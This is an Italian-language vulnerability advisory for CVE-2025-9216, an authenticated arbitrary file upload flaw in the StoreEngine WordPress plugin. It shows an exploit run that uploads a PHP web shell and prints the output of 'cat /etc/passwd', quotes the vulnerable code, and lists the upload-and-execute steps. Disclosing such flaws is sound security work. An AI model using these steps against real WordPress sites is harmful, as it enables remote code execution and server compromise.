
StoreEngine – Potente plugin WordPress per eCommerce per pagamenti, abbonamenti, affiliati, vendite e altro <= 1.4.0 - Autenticato (Subscriber+) Caricamento Arbitrario di File
Il plugin StoreEngine contiene una vulnerabilità nella funzionalità di importazione/esportazione CSV che consente a qualsiasi utente autenticato (subscriber, author, editor, ecc.) di caricare file arbitrari e ottenere l'esecuzione remota di codice. La vulnerabilità deriva da due difetti di sicurezza: (1) l'endpoint di importazione CSV non esegue adeguati controlli di validazione dei file né controlli dei permessi, affidandosi esclusivamente alla verifica del nonce per la sicurezza, e (2) lo storeengine_nonce viene esposto a TUTTI gli utenti frontend tramite il JavaScript del plugin. Questa combinazione consente a qualsiasi utente autenticato di estrarre il nonce dalle pagine frontend e usarlo per caricare web shell PHP tramite l'endpoint storeengine_csv/import, permettendo di fatto agli utenti subscriber+ di eseguire codice arbitrario sul server.
omg.phppython3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
L'azione AJAX storeengine_csv/import chiama la funzione import() alla riga 51 di /wp-content/plugins/storeengine/addons/csv/ajax/import.php, che non esegue controlli adeguati sui permessi né sulla validazione del tipo di file:
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
Lo storeengine_nonce viene esposto a TUTTI gli utenti frontend tramite il JavaScript del plugin. Ciò avviene nel metodo _get_script_data() alla riga 279 di /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
Questo nonce viene poi localizzato nel JavaScript del frontend tramite il metodo frontend_scripts() alla riga 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
Il nonce viene verificato nel metodo AbstractRequestHandler::check_permission() alla riga 510 di /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Questa combinazione consente a qualsiasi utente autenticato di caricare file arbitrari, incluse web shell PHP per l'esecuzione remota di codice.
POST a /wp-admin/admin-ajax.php che chiama l'azione storeengine_csv/import.{"success":true,"data":{"filename":"shell.php"}}.https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php ed esegui il codice.